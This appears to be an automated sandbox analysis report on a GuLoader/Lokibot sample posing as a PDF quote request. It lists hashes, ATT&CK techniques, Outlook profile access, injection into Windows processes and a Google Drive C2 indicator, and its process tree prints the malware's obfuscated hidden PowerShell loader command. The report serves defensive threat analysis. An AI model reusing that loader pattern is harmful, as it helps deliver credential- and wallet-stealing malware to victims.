guloader | 1789a36b829cd09dc4fd24323a0d1bb900494714b4cc7083af651630f2c42d2f

Resubmissions

01/07/2024, 16:13

240701-tpeyvsscpp10

01/07/2024, 16:06

240701-tkj21ssckp10

Analysis

max time kernel
292s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01/07/2024, 16:13

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General

Target
Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
Size 648KB
Sample240701-tpeyvsscpp
SHA256 1789a36b829cd09dc4fd24323a0d1bb900494714b4cc7083af651630f2c42d2f
MD5 93a658e985408e0538044b8b91a2729c
SHA1 c1f250915cb43fc6a46d29dc28a1f09881fe0ded
SHA512 5337c140a778e4ababf7dd82fcd280feb2a7e9e9db981c7fed1fff9c0ea8d562afe71992aa054e98ba9c715f0bea48d939f98b171110a7aaffcd372d23e2816e
SSDEEP 12288:zsB4GOFuvCfdDrklbm9QfwYUcTWQ5xQryR2:I4GOFCCFf4m9ESQWQDQ2Q
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader lokibot collection downloader execution spyware stealer trojan

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
728	powershell.exe

Loads dropped DLL 4 IoCs

pid	Process
2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	ImagingDevices.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	ImagingDevices.exe
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	ImagingDevices.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
53	drive.google.com
52	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2604	ImagingDevices.exe
2604	ImagingDevices.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
728	powershell.exe
2604	ImagingDevices.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 728 set thread context of 2604	728	powershell.exe	113

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Fonts\anorakkerne.ini	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe
728	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	728	powershell.exe
Token: SeDebugPrivilege	2604	ImagingDevices.exe

Suspicious use of WriteProcessMemory 41 IoCs

description	pid	Process	procid_target
PID 2456 wrote to memory of 728	2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	94
PID 2456 wrote to memory of 728	2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	94
PID 2456 wrote to memory of 728	2456	Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe	94
PID 728 wrote to memory of 4960	728	powershell.exe	102
PID 728 wrote to memory of 4960	728	powershell.exe	102
PID 728 wrote to memory of 4960	728	powershell.exe	102
PID 728 wrote to memory of 1692	728	powershell.exe	103
PID 728 wrote to memory of 1692	728	powershell.exe	103
PID 728 wrote to memory of 1692	728	powershell.exe	103
PID 728 wrote to memory of 1860	728	powershell.exe	104
PID 728 wrote to memory of 1860	728	powershell.exe	104
PID 728 wrote to memory of 1860	728	powershell.exe	104
PID 728 wrote to memory of 376	728	powershell.exe	105
PID 728 wrote to memory of 376	728	powershell.exe	105
PID 728 wrote to memory of 376	728	powershell.exe	105
PID 728 wrote to memory of 4488	728	powershell.exe	106
PID 728 wrote to memory of 4488	728	powershell.exe	106
PID 728 wrote to memory of 4488	728	powershell.exe	106
PID 728 wrote to memory of 1396	728	powershell.exe	107
PID 728 wrote to memory of 1396	728	powershell.exe	107
PID 728 wrote to memory of 1396	728	powershell.exe	107
PID 728 wrote to memory of 4312	728	powershell.exe	108
PID 728 wrote to memory of 4312	728	powershell.exe	108
PID 728 wrote to memory of 4312	728	powershell.exe	108
PID 728 wrote to memory of 3064	728	powershell.exe	109
PID 728 wrote to memory of 3064	728	powershell.exe	109
PID 728 wrote to memory of 3064	728	powershell.exe	109
PID 728 wrote to memory of 4216	728	powershell.exe	110
PID 728 wrote to memory of 4216	728	powershell.exe	110
PID 728 wrote to memory of 4216	728	powershell.exe	110
PID 728 wrote to memory of 2060	728	powershell.exe	111
PID 728 wrote to memory of 2060	728	powershell.exe	111
PID 728 wrote to memory of 2060	728	powershell.exe	111
PID 728 wrote to memory of 1176	728	powershell.exe	112
PID 728 wrote to memory of 1176	728	powershell.exe	112
PID 728 wrote to memory of 1176	728	powershell.exe	112
PID 728 wrote to memory of 2604	728	powershell.exe	113
PID 728 wrote to memory of 2604	728	powershell.exe	113
PID 728 wrote to memory of 2604	728	powershell.exe	113
PID 728 wrote to memory of 2604	728	powershell.exe	113
PID 728 wrote to memory of 2604	728	powershell.exe	113

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	ImagingDevices.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	ImagingDevices.exe

C:\Users\Admin\AppData\Local\Temp\Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Quote Request (Tupy S.A.) 523AM - 924BR·pdf.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Omvurderingens=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Hoodmold.pal';$Genuflexion=$Omvurderingens.SubString(2127,3);.$Genuflexion($Omvurderingens)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:728
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:4960
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:1692
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:1860
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:376
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:4488
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:1396
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:4312
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:3064
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:4216
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:2060
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    PID:1176
- - C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
    "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2604

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3132 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_3ggdzjsq.4rq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ggdzjsq.4rq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AdvSplash.dll

Path C:\Users\Admin\AppData\Local\Temp\nshB060.tmp\AdvSplash.dll
Size 6KB
SHA256 3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175
MD5 6def2cf3daf850acdc1a3e7340a439c4
SHA1 95d0d26f60cd5af697502cd5e53a54913ab188fb
SHA512 16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413
SSDEEP 96:bNcIcmLEjNev3O2obNnNlXUjDftqlqCstWpFwoS:yIpLSG3O9XX+qlqntWpF
MD5 SHA1 SHA512 SSDEEP

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BgImage.dll

Path C:\Users\Admin\AppData\Local\Temp\nshB060.tmp\BgImage.dll
Size 7KB
SHA256 71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53
MD5 2bb17d45e5ad92053ce1e500408dd8a9
SHA1 f5d3a7ee6e28df532e9ce33976c92ff30a5665e4
SHA512 efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f
SSDEEP 96:8eXR0AKTIfv7QCUsthvNL85s4lk38Eb3CDfvEh8uLzqkNnLiEQjJ3KxkP:tvBfjbUA/85q3wEh8uLmsLpmP
MD5 SHA1 SHA512 SSDEEP

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UserInfo.dll

Path C:\Users\Admin\AppData\Local\Temp\nshB060.tmp\UserInfo.dll
Size 4KB
SHA256 41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc
MD5 8ef0e4eb7c89cdd2b552de746f5e2a53
SHA1 820f681e7cec409a02b194a487d1c8af1038acf0
SHA512 a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5
MD5 SHA1 SHA512

Submit Download

nsExec.dll

Path C:\Users\Admin\AppData\Local\Temp\nshB060.tmp\nsExec.dll
Size 6KB
SHA256 d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4
MD5 c129bc26a26be6f5816a03520bb37833
SHA1 18100042155f948301701744b131c516bf26ddb8
SHA512 dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63
SSDEEP 96:y7GUaYNwCLuGFctpiKFlYJ8hH4RVHpwdEeY3kRlDr6dMqqyVgN738:8ygp3FcHi0xhYMR8dMqJVgN
MD5 SHA1 SHA512 SSDEEP

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Hoodmold.pal

Path C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Hoodmold.pal
Size 69KB
SHA256 ab066f63579ee3e93dce7659a29411242b96046c457995c77c129ead19dfc4f8
MD5 f10a2e78305cc76f40bc76797a5aca0e
SHA1 d107e88d4968c40da18b58a6ac7112e39410189d
SHA512 922c1c3967fd723430211e0e6ef09bb485e4e6ec8e95233a9d7c71a8c41c8d8276dae064648990974c1e093f19eae495b6be1956ef2e7f349ecb68621d3c2f00
SSDEEP 1536:AjrqedVgnQlx3/wro5HduK5FyfjfKOSwikk77KQB1btpU2Kn/+C0JDR3:A/DfgQj3/wrKHFEbo/7WQBRkd/ZA
MD5 SHA1 SHA512 SSDEEP

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Overtidsbetalingers.Afl

Path C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Overtidsbetalingers.Afl
Size 330KB
SHA256 dfc92f1fb223f6a81ec1e72026e7e95376ce5f572b9a154a1d24c9abb2204888
MD5 c086b00efbe9cc4e81f801d0804e1647
SHA1 91751d0d919de34ed03abcb1662b35c68b17682d
SHA512 65fc0721c3818bd523d6766f51fea3efbcdb5629ce337ca39a4894c2ef677179b39e1ba3b2355c93f6d7d072313d1a8665c3534e69c523f20ce10cd3c4f33879
SSDEEP 6144:kPP+liU0rxCFmIxWJZyrPc2JslhMoWOE5j/9Fd8HgzF9hw+Qz:kPPI0rcKYzcHMojE1/tYy0+Qz
MD5 SHA1 SHA512 SSDEEP

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slukningen.lnk

Path C:\Users\Admin\Pictures\slukningen.lnk
Size 1000B
SHA256 90b0a7fb4839d1b2df221bd220fc351af23cc078ed02db292976fe2cea0f5c20
MD5 833a018ba8b2203c09e533b3449856bd
SHA1 fa8be18c259f52efe425f3065652fbf0c96446b3
SHA512 66a07c27ba38991fd3671dc209b60a213237fe1aec745c5a06dd7356efcca1bbb1bc288d04b6fcc1d17537d9b806a57176bb24a12a47805f13977779233f4a66
MD5 SHA1 SHA512

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memory/728-195-0x00000000055C0000-0x00000000055DE000-memory.dmp

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memory/728-200-0x0000000006040000-0x0000000006062000-memory.dmp

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memory/728-181-0x00000000052B0000-0x00000000052D2000-memory.dmp

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memory/728-182-0x0000000005350000-0x00000000053B6000-memory.dmp

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memory/728-183-0x00000000053C0000-0x0000000005426000-memory.dmp

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memory/728-179-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-193-0x0000000005640000-0x0000000005994000-memory.dmp

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memory/728-194-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

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memory/728-178-0x0000000002440000-0x0000000002476000-memory.dmp

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memory/728-196-0x0000000005CC0000-0x0000000005D0C000-memory.dmp

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memory/728-197-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-198-0x0000000006A90000-0x0000000006B26000-memory.dmp

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memory/728-199-0x0000000005FF0000-0x000000000600A000-memory.dmp

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memory/728-180-0x0000000004BD0000-0x00000000051F8000-memory.dmp

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memory/728-201-0x00000000070E0000-0x0000000007684000-memory.dmp

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memory/728-177-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-203-0x0000000007D10000-0x000000000838A000-memory.dmp

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memory/728-204-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-206-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-176-0x0000000073D6E000-0x0000000073D6F000-memory.dmp

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memory/728-209-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-210-0x0000000008390000-0x0000000008F36000-memory.dmp

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memory/728-211-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-212-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/728-213-0x0000000073D60000-0x0000000074510000-memory.dmp

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memory/2604-227-0x0000000001200000-0x0000000001DA6000-memory.dmp

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